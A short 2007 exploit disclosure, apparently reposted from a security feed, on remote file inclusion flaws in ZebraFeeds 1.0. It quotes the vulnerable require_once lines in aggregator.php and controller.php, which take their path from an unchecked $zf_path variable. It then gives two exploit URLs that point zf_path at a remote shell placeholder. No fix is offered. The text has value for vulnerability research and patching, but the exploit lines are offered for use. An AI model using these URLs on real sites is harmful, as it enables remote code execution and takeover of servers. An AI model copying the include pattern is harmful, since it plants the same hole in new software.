ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerabilities

Feb 18 2007 13:25:45
Source: ace

To ConTacT mE @ wWw.Asb-May.net/bb

ScRiPt:-http://cazalet.org/zebrafeeds/releases/zebrafeeds-current.zip

Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>

******************************************************************************

aggregator.php:-

require_once($zf_path .

'includes/feed.php');

require_once($zf_path . 'includes/view.php');

require_once($zf_path . 'includes/template.php');

require_once($zf_path . 'magpierss/rss_fetch.inc');

controller.php:-

require_once($zf_path . 'includes/template.php');

require_once($zf_path .

'includes/opml.php');

********************************************************************************

ExPlOiT:-http://www.SitE.com/newsfeeds/includes/aggregator.php?zf_path=[Shell]

ExPlOiT:-http://www.SitE.com/newsfeeds/includes/controller.php?zf_path=[Shell]

*******************************************************************************

.

» full story @ source-link: ace

Comments

Add Comment

You must be registered and logged in to add comments!

Register
Login